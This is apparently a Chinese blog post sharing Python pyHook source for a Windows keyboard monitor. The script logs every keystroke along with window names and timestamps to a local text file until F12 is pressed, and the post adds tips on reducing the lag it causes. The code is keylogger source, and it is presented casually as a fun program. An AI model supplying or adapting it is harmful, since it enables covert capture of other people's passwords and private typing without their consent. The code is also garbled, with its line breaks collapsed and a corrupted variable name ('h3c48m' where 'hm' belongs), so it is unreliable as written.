pyhooks方法实现键盘监控源码示例,pyhooks源码,pyhooks方法实现键


pyhooks方法实现键盘监控源码示例,pyhooks实现键盘监控,F12终止程序。

这是一个很酷的python小程序,和大家一同分享。

pyhooks 键盘监控源码示例

第一次运行时,提示没有安装pythoncom模块;承后安装了pywin32,安装后可以正常运行。
这里会遇到一个问题就是可能会导致机器发卡,特别是在中断程序运行之后。你会发现鼠标会出现一段时间的自由晃动(好奇怪哦...)后来找不到原因感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
我也在网上搜索了这个问题的解决方法,看到有一帖子说是:pythoncom.PumpMessages(n),这个n表示延迟时间,我就试着小小的修改了一下,效果还是有的,但没有预想的那么好。后来又想到,会不会是因为没有终止程序,才会导致一直很卡呢?
这样我就又添加了一个终止程序语句:win32api.PostQuitMessage()

这个结果还算满意!pyhooks方法实现键盘监控源码示例源码如下:

# -*- coding: cp936 -*-import pythoncom  import pyHook  import timeimport win32apit=''asciistr=''keystr=''def onKeyboardEvent(event):       global t,asciistr,keystr    filename='d://test.txt'    wrfile=open(filename,'ab')    "处理键盘事件"    if t==str(event.WindowName):        asciistr=asciistr+chr(event.Ascii)        keystr=keystr+str(event.Key)            else:        t=str(event.WindowName)        if asciistr=='' and keystr=='':            wrfile.writelines("\nWindow:%s\n" % str(event.Window))            wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名            wrfile.writelines("MessageName:%s\n" % str(event.MessageName))            wrfile.writelines("Message:%d\n" % event.Message)            wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))        else:            wrfile.writelines("Ascii_char:%s\n" %asciistr)            wrfile.writelines("Key_char:%s\n" %keystr)            wrfile.writelines("\nWindow:%s\n" % str(event.Window))            wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名            wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))                asciistr=chr(event.Ascii)        keystr=str(event.Key)    if str(event.Key)=='F12':  #按下F12后终止        wrfile.writelines("Ascii_char:%s\n" %asciistr)        wrfile.writelines("Key_char:%s\n" %keystr)        wrfile.close()            win32api.PostQuitMessage()            return True    if __name__ == "__main__":    '''www.iplaypy.com'''    #创建hook句柄      hm = pyHook.HookManager()      #监控键盘      h3c48m.KeyDown = onKeyboardEvent      hm.HookKeyboard()      #循环获取消息      pythoncom.PumpMessages(10000)        

编橙之家文章,

评论关闭